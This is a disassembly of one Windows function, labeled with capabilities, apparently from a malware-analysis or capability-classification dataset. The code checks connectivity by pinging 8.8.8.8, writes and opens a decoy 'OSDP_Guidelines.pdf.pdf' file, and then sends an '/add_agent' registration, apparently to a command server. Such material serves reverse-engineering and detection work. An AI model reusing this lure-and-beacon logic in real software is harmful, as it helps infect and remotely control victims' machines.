Function at 0x14000f820
Capabilities:
Create process on windows
Get common file path
Reference google public dns server
Send icmp echo request

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x2c0]
sub rsp, 0x3c0
mov rax, qword [0x1400890d8]
xor rax, rsp
mov qword [rbp + 0x2b0], rax
xor r15d, r15d
movsd xmm0, qword [str.Data_Buffer]
movsd qword [rbp + 0x180], xmm0
mov eax, dword [0x14007a628]
mov dword [rbp + 0x188], eax
lea rcx, str.8.8.8.8
call qword [sym.imp.WS2_32.dll_inet_addr]
mov r14d, eax
call qword [sym.imp.IPHLPAPI.DLL_IcmpCreateFile]
mov rsi, rax
cmp rax, 0xffffffffffffffff
je 0x140010005
lea ecx, [r15 + 0x34]
call fcn.14004dd78
mov rdi, rax
test rax, rax
je 0x140010005
nop
mov ebx, r15d
nop dword [rax]
nop word [rax + rax]
mov r9d, reloc.WS2_32.dll_inet_ntoa
mov dword [rsp + 0x38], 0x2710
mov dword [rsp + 0x30], reloc.WS2_32.dll_gethostbyname
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], r15
lea r8, [rbp + 0x180]
mov edx, r14d
mov rcx, rsi
call qword [sym.imp.IPHLPAPI.DLL_IcmpSendEcho]
test eax, eax
je 0x14000f8fd
cmp dword [rdi + 4], r15d
je 0x14000f911
inc ebx
cmp ebx, 3
jl 0x14000f8c0
mov ecx, 0x4e20
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x14000f8b0
mov rcx, rdi
call fcn.14004cdc0
lea rcx, [rbp + 8]
call fcn.14000ef40
nop
mov rbx, qword [rbp + 0x18]
test rbx, rbx
je 0x14000ffc9
lea rdx, [rbp + 0x1a0]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
xorps xmm0, xmm0
xorps xmm1, xmm1
test eax, eax
je 0x14000fa2e
movups xmmword [rsp + 0x40], xmm0
movdqu xmmword [rsp + 0x50], xmm1
lea rax, [rbp + 0x1a0]
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14000f970
lea rdx, [rbp + 0x1a0]
lea rcx, [rsp + 0x40]
call fcn.14001fe40
nop
mov r8d, 1
lea rdx, [0x14007a1d4]
lea rcx, [rsp + 0x40]
call fcn.140014950
xorps xmm0, xmm0
movups xmmword [rbp + 0x180], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x190], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x180], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x190], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rsp + 0x58]
cmp rdx, 0x10
jb 0x14000fa19
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000fa14
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140010072
call fcn.14003c8e0
movdqa xmm0, xmmword [0x14007c610]
movdqu xmmword [rsp + 0x50], xmm0
mov byte [rsp + 0x40], 0
jmp 0x14000fa54
movups xmmword [rbp + 0x180], xmm0
movdqu xmmword [rbp + 0x190], xmm1
xor r8d, r8d
lea rdx, [0x140079f6d]
lea rcx, [rbp + 0x180]
call fcn.14001fe40
nop
mov r8d, 0x17
lea rdx, str.OSDP_Guidelines.pdf.pdf
lea rcx, [rbp + 0x180]
call fcn.140014950
xorps xmm0, xmm0
movups xmmword [rbp - 0x38], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x28], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x38], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x28], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rbp + 0x198]
cmp rdx, 0x10
jb 0x14000fadb
inc rdx
mov rcx, qword [rbp + 0x180]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000fad6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140010078
call fcn.14003c8e0
movdqa xmm0, xmmword [0x14007c610]
movdqu xmmword [rbp + 0x190], xmm0
mov byte [rbp + 0x180], 0
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x70]
call fcn.14003ee30
lea rdx, [rbp - 0x38]
cmp qword [rbp - 0x20], 0x10
cmovae rdx, qword [rbp - 0x38]
mov r8d, 0x20
lea rcx, [rbp + 0x70]
call fcn.140012ac0
mov rax, qword [rbp + 0x70]
movsxd rcx, dword [rax + 4]
lea r13, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x70], r13
mov rax, qword [rbp + 0x70]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x6c], edx
lea rcx, [rbp + 0x70]
call fcn.140013930
lea rcx, [rbp + 0x78]
call fcn.140017d30
test rax, rax
jne 0x14000fb9b
mov rax, qword [rbp + 0x70]
movsxd rcx, dword [rax + 4]
mov eax, 6
mov edx, 2
cmp qword [rbp + rcx + 0xb8], 0
cmovne eax, edx
or eax, dword [rbp + rcx + 0x80]
and eax, 0x17
mov dword [rbp + rcx + 0x80], eax
mov edx, dword [rbp + rcx + 0x84]
and edx, eax
jne 0x14001007e
lea rdx, [rbp - 0x38]
lea rcx, [rbp - 0x18]
call fcn.140007a20
nop
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
lea r8, [rbp - 0x18]
cmp qword [rbp], 0x10
cmovae r8, qword [rbp - 0x18]
mov dword [rsp + 0x28], r15d
mov qword [rsp + 0x20], r15
xor r9d, r9d
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
movabs rax, 0x7ffffffffffffffe
sub rax, rbx
cmp rax, 0xa
jb 0x1400100d4
lea r9, [rbp + 8]
cmp qword [rbp + 0x20], 8
cmovae r9, qword [rbp + 8]
mov qword [rsp + 0x30], 0xa
lea rax, str._add_agent
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rbx
lea rcx, [rbp + 0x48]
call fcn.1400258b0
nop
lea rcx, [rbp + 0x180]
call fcn.14000e5b0
nop
xorps xmm0, xmm0
movups xmmword [rbp - 0x58], xmm0
mov byte [rbp - 0x58], 0
xor ecx, ecx
mov qword [rbp - 0x50], rcx
mov rdx, rax
lea rcx, [rbp - 0x58]
call fcn.140031170
nop
lea rdx, [rbp + 0x180]
lea rcx, [rbp + 0x180]
call fcn.14001f370
lea r8, [rbp - 0x58]
lea rdx, [rbp + 0x48]
lea rcx, [rbp + 0x28]
call fcn.14000f390
nop
mov qword [rbp - 0x60], r15
lea r8, [rsp + 0x68]
lea rdx, [rbp + 0x28]
lea rcx, [rbp - 0x48]
call fcn.14001e760
nop
mov r12d, 7
cmp byte [rbp - 0x48], 1
jne 0x14000fd3e
mov rax, qword [rbp - 0x40]
mov r14, qword [rax]
mov rbx, qword [r14 + 8]
mov rsi, r14
cmp byte [rbx + 0x19], 0
jne 0x14000fd02
nop dword [rax]
nop word [rax + rax]
lea rcx, [rbx + 0x20]
mov rdi, qword [rcx + 0x10]
cmp qword [rcx + 0x18], 0x10
jb 0x14000fcd2
mov rcx, qword [rcx]
mov r8, rdi
cmp rdi, r12
cmova r8, r12
lea rdx, str.message
call fcn.14003f330
test eax, eax
je 0x140010041
js 0x14001004a
mov rsi, rbx
mov rbx, qword [rbx]
cmp byte [rbx + 0x19], 0
je 0x14000fcc0
cmp byte [rsi + 0x19], 0
jne 0x14000fd3e
lea rcx, [rsi + 0x20]
mov rbx, qword [rcx + 0x10]
cmp qword [rcx + 0x18], 0x10
jb 0x14000fd1a
mov rcx, qword [rcx]
mov r8, rbx
cmp rbx, r12
cmova r8, r12
lea rdx, str.message
call fcn.14003f330
test eax, eax
je 0x140010053
jle 0x14001005c
xor al, al
test al, al
je 0x14000fe21
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], r15
mov qword [rsp + 0x58], r15
mov r8, r12
lea rdx, str.message
lea rcx, [rsp + 0x40]
call fcn.14001fe40
lea rdx, [rsp + 0x40]
lea rcx, [rbp - 0x48]
call fcn.140013540
mov rdi, rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x180], xmm0
xor eax, eax
mov qword [rbp + 0x188], rax
movzx edx, byte [rbp + 0x180]
lea rcx, [rbp + 0x188]
call fcn.14001a570
mov byte [rbp + 0x180], 3
mov ecx, 0x20
call fcn.14003c8e8
mov rbx, rax
xorps xmm0, xmm0
movups xmmword [rax], xmm0
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], r15
mov r8, r12
lea rdx, str.created
mov rcx, rax
call fcn.14001fe40
mov qword [rbp + 0x188], rbx
lea rdx, [rbp + 0x180]
mov rcx, rdi
call fcn.140024f90
movzx ebx, al
movzx edx, byte [rbp + 0x180]
lea rcx, [rbp + 0x188]
call fcn.14001a570
nop
test bl, bl
je 0x14000fe21
lea rdx, [rbp + 8]
lea rcx, [rsp + 0x40]
call fcn.140014770
mov rcx, rax
call fcn.14000b0a0
nop
movzx edx, byte [rbp - 0x48]
lea rcx, [rbp - 0x40]
call fcn.14001a570
nop
mov rdx, qword [rbp + 0x40]
cmp rdx, 0x10
jb 0x14000fe6a
inc rdx
mov rcx, qword [rbp + 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000fe65
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400100da
call fcn.14003c8e0
movdqa xmm0, xmmword [0x14007c610]
movdqu xmmword [rbp + 0x38], xmm0
mov byte [rbp + 0x28], 0
movzx edx, byte [rbp - 0x58]
lea rcx, [rbp - 0x50]
call fcn.14001a570
nop
mov rdx, qword [rbp + 0x60]
cmp rdx, 8
jb 0x14000fec9
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000fec4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400100e0
call fcn.14003c8e0
movdqa xmm0, xmmword [0x14007c600]
movdqu xmmword [rbp + 0x58], xmm0
mov word [rbp + 0x48], r15w
mov rdx, qword [rbp]
cmp rdx, 0x10
jb 0x14000ff16
inc rdx
mov rcx, qword [rbp - 0x18]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000ff11
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400100e6
call fcn.14003c8e0
movdqa xmm0, xmmword [0x14007c610]
movdqu xmmword [rbp - 8], xmm0
mov byte [rbp - 0x18], 0
mov rax, qword [rbp + 0x70]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0x70], r13
mov rax, qword [rbp + 0x70]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x6c], edx
lea rcx, [rbp + 0x78]
call fcn.140012970
mov rax, qword [rbp + 0x70]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x70], rax
mov rax, qword [rbp + 0x70]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x10]
mov dword [rbp + rcx + 0x6c], edx
lea rax, vtable.std::ios_base.0
mov qword [rbp + 0x118], rax
lea rcx, [rbp + 0x118]
call fcn.14003bac0
nop
mov rdx, qword [rbp - 0x20]
cmp rdx, 0x10
jb 0x14000ffc9
inc rdx
mov rcx, qword [rbp - 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000ffc3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400100ec
call fcn.14003c8e0
nop
mov rdx, qword [rbp + 0x20]
cmp rdx, 8
jb 0x140010005
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140010000
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001006c
call fcn.14003c8e0
call fcn.14000d390
call fcn.14000d390
xor eax, eax
mov rcx, qword [rbp + 0x2b0]
xor rcx, rsp
call fcn.14003c8c0
lea r11, [rsp + 0x3c0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
cmp rdi, r12
jae 0x14000fcf6
mov rbx, qword [rbx + 0x10]
jmp 0x14000fcfc
cmp rbx, r12
ja 0x14000fd3e
cmp rsi, r14
je 0x14000fd3e
mov al, 1
jmp 0x14000fd40
call fcn.14004dd00
nop
call fcn.14004dd00
nop
call fcn.14004dd00
nop
test dl, 4
je 0x14001008c
lea rbx, str.ios_base::badbit_set
jmp 0x1400100a1
test dl, 2
lea rbx, str.ios_base::failbit_set
lea rax, str.ios_base::eofbit_set
cmove rbx, rax
mov edx, 1
lea rcx, [rbp + 0x180]
call fcn.140002180
mov r8, rax
mov rdx, rbx
lea rcx, [rsp + 0x40]
call fcn.140003860
lea rdx, [0x140086f10]
lea rcx, [rsp + 0x40]
call fcn.14003f1b8
nop
call fcn.1400013d0
nop
call fcn.14004dd00
nop
call fcn.14004dd00
nop
call fcn.14004dd00
nop
call fcn.14004dd00
int3